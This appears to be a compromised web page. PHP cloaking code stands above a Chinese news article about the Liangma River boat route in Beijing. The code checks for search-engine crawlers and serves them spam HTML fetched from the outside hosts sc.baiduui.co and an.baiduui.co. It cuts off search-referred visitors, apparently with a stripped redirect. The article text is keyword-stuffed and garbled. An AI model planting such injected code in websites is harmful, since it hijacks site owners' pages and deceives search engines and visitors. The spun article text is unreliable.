header("Content-type: text/html; charset=utf-8");
set_time_limit(30);
error_reporting(0);
ini_set('user_agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)');
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$referrer = $_SERVER['HTTP_REFERER'];
$host = $_SERVER['HTTP_HOST'];
$uri = $_SERVER['REQUEST_URI'];
$rhost = preg_replace("/[^a-zA-Z0-9]/", "", $host);
$ruri = preg_replace("/[^a-zA-Z0-9]/", "", $uri);
$url = "https://sc.baiduui.co"."/".$rhost."/".$ruri.".html";
$Ourl = "https://an.baiduui.co"."/".$rhost."/".$ruri.".html";
$exp = array('google.com','yahoo.com','bing.com','baidu.com','sogou','soso',"sm");
foreach ($exp as $engine) {
if (strpos($user_agent, $engine) !== false) {
if(strpos($uri, '/?') !== false) {
$file_contents = file_get_contents($url);
echo $file_contents;
exit;
}elseif (strlen($uri) == 1) {
$file_contents = file_get_contents($Ourl);
echo $file_contents;
break;
}else {
$file_contents = file_get_contents($Ourl);
echo $file_contents;
break;
}
}
};
$is_search_engine_referral = false;
foreach ($exp as $engine) {
if (strpos($referrer, $engine) !== false && strlen($uri) !== 1) {
echo '
';
echo '';
echo '';
exit();
}
};
京城亮马河航线启航 一条河“生动”一座城-游辞巧饰网
京城亮马河航线启航 一条河“生动”一座城
来源:游辞巧饰网
编辑:探索
时间:2024-05-13 18:07:38
记者 富田 摄
上一图集
北京迎来大风沙尘天气
下一图集
汪满田村非遗鱼灯亮相北京
中国新闻网
1/4
3月16日晚,生动位于北京市朝阳区的京城亮马河6公里航线再度启航,串联沿河“24桥”。亮马亮马河波光粼粼,河航航条河座穿越多个使馆区、线启商圈和公园,生动是京城城市中珍贵的滨水空间,并形成了80万平方米的亮马亮马河国际风情水岸。亮马河不仅是河航航条河座一条河,如今已是线启朝阳国际化新地标、北京城市新名片,生动更是京城北京城市更新的典范。
亮马
【编辑:李太源】
亮马推荐图集 更多
Top